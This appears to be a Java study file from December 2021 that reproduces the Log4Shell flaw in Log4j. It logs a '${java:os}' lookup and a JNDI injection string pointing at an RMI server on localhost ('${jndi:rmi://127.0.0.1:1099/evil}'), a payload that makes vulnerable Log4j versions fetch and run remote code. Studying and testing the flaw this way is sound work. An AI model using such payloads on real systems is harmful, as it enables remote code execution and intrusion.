package com.hailiang.study.rmi;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author hailiang.jiang
 * @date 2021年12月11 11:25
 */
public class Log4jTest {

    private final static Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        String username = "${java:os}";
        logger.info("Hello, {}", username);
        String rmiURL = "${jndi:rmi://127.0.0.1:1099/evil}";
        logger.info("Hello, {}", rmiURL);
    }
}
